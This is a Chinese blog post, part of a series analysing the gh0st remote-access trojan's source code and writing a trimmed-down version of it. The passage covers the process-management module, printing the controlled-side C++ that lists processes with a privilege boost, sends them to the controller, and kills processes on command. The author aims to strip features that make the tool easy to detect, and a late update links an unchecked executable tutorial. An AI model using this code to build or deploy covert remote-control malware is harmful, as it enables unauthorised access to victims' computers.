gh0st源码分析与远控的编写(四)

真的很久很久了,距离上一次写gh0st的文章(https://www.leavesongs.com/C/gh0st_3.html),过去有大半年了。总算有一个时间,我放下手里所有的活,能够继续把这份努力延续下去。

以后对于gh0st的文章,就是一个一个模块的分析。原本gh0st就是由很多功能组成的一个强大的远控,但有些东西并不是功能越强大越好。我们到最后,会做一个gh0st的精简,留下最重要的功能,淘汰一些庞大而容易暴露的功能。所以,只有我们模块化了一个软件之后,我们才能更方便地去删除或增加一个功能,否则删除掉某个模块之后导致整个gh0st运行不了了,得不偿失。

今天带来的是进程管理模块,这个模块文件是SystemManager.cpp。

我们先来看被控端,一个获取当前进程列表的模块。调用的相关api是CreateToolhelp32Snapshot -> Process32First -> OpenProcess -> EnumProcessModules -> GetModuleFileNameEx -> Process32Next -> CloseHandle

首先调用CreateToolhelp32Snapshot 创建当前进程列表的快照,再调用Process32First获得快照中第一个进程句柄,OpenProcess打开此进程,EnumProcessModules列举这个进程引用的模块(第一个模块就是进程自身,原本这个函数应该返回该进程所有模块的一个数组,但因为我只需要第一个模块,所以传入一个HMODULE型地址即可)。得到他自身的模块后,GetModuleFileNameEx获得其完整名称。此时就算获取到了进程列表中一个进程信息,再使用Process32Next获得下一个进程,重复以上步骤。

最后当Process32Next获取不到进程后,就算将整个进程列表快照遍历完了,调用CloseHandle关闭快照句柄即可。

流程图如下:

gh0st4.png

下面就是gh0st中,获取进程列表的代码:

LPBYTE CSystemManager::getProcessList()
{
    HANDLE          hSnapshot = NULL;
    HANDLE          hProcess = NULL;
    HMODULE         hModules = NULL;
    PROCESSENTRY32  pe32 = {0};
    DWORD           cbNeeded;
    char            strProcessName[MAX_PATH] = {0};
    LPBYTE          lpBuffer = NULL;
    DWORD           dwOffset = 0;
    DWORD           dwLength = 0;
    DebugPrivilege(SE_DEBUG_NAME, TRUE);     //提取权限
    //创建系统快照
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if(hSnapshot == INVALID_HANDLE_VALUE)
        return NULL;

    pe32.dwSize = sizeof(PROCESSENTRY32);

    lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);       //暂时分配一下缓冲区

    lpBuffer[0] = TOKEN_PSLIST;        //注意这个是数据头 一会我们到主控端来搜索这个数据头 
    dwOffset = 1;

    if(Process32First(hSnapshot, &pe32))       //得到第一个进程顺便判断一下系统快照是否成功
    {     
        do
        {      
            //打开进程并返回句柄
            hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);
            if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8))
            {
                //枚举第一个模块句柄也就是自身
                EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
                //得到自身的完整名称
                GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName));
                //开始计算占用的缓冲区, 我们关心他的发送的数据结构
                // 此进程占用数据大小
                dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;
                // 缓冲区太小,再重新分配下
                if (LocalSize(lpBuffer) < (dwOffset + dwLength))
                    lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);

                //接下来三个memcpy就是向缓冲区里存放数据 数据结构是 进程ID+进程名+0+进程完整名+0
                //为什么加0 ?因为字符数据是以0 结尾的
                memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
                dwOffset += sizeof(DWORD);  

                memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);
                dwOffset += lstrlen(pe32.szExeFile) + 1;

                memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1);
                dwOffset += lstrlen(strProcessName) + 1;
            }
        }
        while(Process32Next(hSnapshot, &pe32));      //继续得到下一个快照
    }
    //用lpbuffer获得整个缓冲区
    lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);

    DebugPrivilege(SE_DEBUG_NAME, FALSE);  //还原提权
    CloseHandle(hSnapshot);       //释放句柄 
    return lpBuffer;        //这个数据返回后就是发送了 之前讲过了,我们可以到主控端去搜索TOKEN_PSLIST了。
}

代码基本上就跟我的流程图一样的过程,用一个do..while循环,遍历整个进程列表快照。其中调用的EnumProcessModules函数要注意,传入的第二个参数是一个HMODULE类型指针,而不是MSDN中说的数组。当然也可以理解成只含有一个HMODULE类型变量的数组,因为我只需要第一个模块信息就行了。

获得了可执行文件名、详细名称后,gh0st用了一个结构:“进程ID+进程名+0+进程完整名+0”来保存他们。0相当于一个分隔符,将信息分割开。在主控端取进程信息的时候就直接取一个数字,两个字符串即可,因为字符串就是以0结尾。

这个函数最前面调用了一个DebugPrivilege,这就是一个简单的提权函数,在很多地方都用到过,我就不多讲了。

所以,最后getProcessList函数返回的就是一个包含所有进程信息的一个缓冲区,类似这样"01ieplorer.exe\0IE浏览器\002qq.exe\0腾讯QQ\0...."。

SendProcessList调用了这个函数,并把获得的缓冲区发送给主控端:

void CSystemManager::SendProccessList()
{
    UINT    nRet = -1;
    LPBYTE  lpBuffer = getProcessList();      //得到进程列表的数据,一会转到  getProcessList定义
    if (lpBuffer == NULL)
        return;

    Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));   //得到发送得到的进程列表数据
    LocalFree(lpBuffer);
}

这就是被控端上获取所有进程信息并发送给主控端的一个过程。

我之前文章里也说过,被控端中每一个模块类中,都有一个固定的方法,叫OnReceive,这是当主控端发送来的命令,会最终被传递给这个方法。这个方法就来根据命令调度需要执行的功能。

所以,SystemManager类也有这个方法:

void CSystemManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    SwitchInputDesktop();
    switch (lpBuffer[0])
    {
    case COMMAND_PSLIST:
        SendProcessList();
        break;
    case COMMAND_WSLIST:
        //SendWindowsList();
        break;
    case COMMAND_DIALUPASS:
        //SendDialupassList();
        break;
    case COMMAND_KILLPROCESS:       //这里是进程管理接收数据的函数了 在这里判断是那个命令,到KillProcess定义
        KillProcess((LPBYTE)lpBuffer + 1, nSize - 1);
    default:
        break;
    }
}

lpBuffer[0]就是命令,我们可以看到,如果它的值是COMMAND_PSLIST的话,就会执行SendProcessList,也就是发送所有进程列表,如果是COMMAND_KILLPROCESS,那就就会执行KillProcess,结束某个进程。

另外还有两个命令,他们是窗口管理和拨号管理的功能。实际上,这两个功能并不太需要,可以直接精简掉。我们暂时将之注释。

下次我会说到,主控端界面的一些编写(主要是tab标签页的制作),和接收来自被控端的数据,并显示到页面上。最终完成这个进程管理模块。


2021年update:

时间过去了多年,当时的更新没坚持下去,现在gh0st已经过时很久了,所以一直没有再管这几篇文章。没想到这几年还是有不少人会来看,也多次找我要过老狼的gh0st视频教程。我翻了下很久以前的硬盘,虽然没找到当初的原版,还是找到了一个版本,也许能够满足大家的需求(需要翻墙下载):https://mega.nz/folder/IdpBCQyL#wWMLeOD9eG09KduQywqJQA

相关源码可以在Github找到。

如果压缩包有密码,密码是www.hegouvip.com。由于视频是exe格式,我没有检查过,自己谨慎。

赞赏

喜欢这篇文章?打赏1元

评论

rULe4Ker4pwn 回复

又过了一年,再复习一遍

kira 回复

学习了 谢谢大神分享

Damands 回复

楼主真的好优秀,给俺分析Gh0st的毕业狗提供了大大的帮助,想问还有机会有其他功能的源码分析么,呜呜呜毕业狗看不懂源码

ruLe4KeR4pwn 回复

还在吗啊哈哈哈哈哈哈哈 还在等更新啊 这都1202年了 从10岁等到15岁了 哈哈哈哈

phithon 回复

@ruLe4KeR4pwn 哈哈哈,不好意思

虎牙独魂 回复

楼主 可以发一下 源码下载吗 Gh0st远控的源码

p1Kk 回复

还会有下一篇嘛...您写的VS上的gh0st源码链接也失效了 请问还能再放吗(thanks

的兰迪 回复

快被老狼的英文单词读音崩溃了。。。

匿名 回复

没有第五篇吗,这个是弃坑了吗?

NONAME 回复

大神加油,坐等下文啊

xue 回复

Windows一堆乱七八糟的API,真讨厌,Linux多简单

29 回复

又停了,WIN7 8上线 键盘记录研究下呗

新人 回复

赞一个,gh0st代码很清晰,博主讲得也很好!坐等博主下一篇

GPRBOY 回复

在线等下篇啊!!!!!!!!!!

phithon 回复

@GPRBOY:别急别急,我会抽时间写,感谢支持~~

GPRBOY 回复

功德无量。

轮廓 回复

强烈支持,期待下篇~~

captcha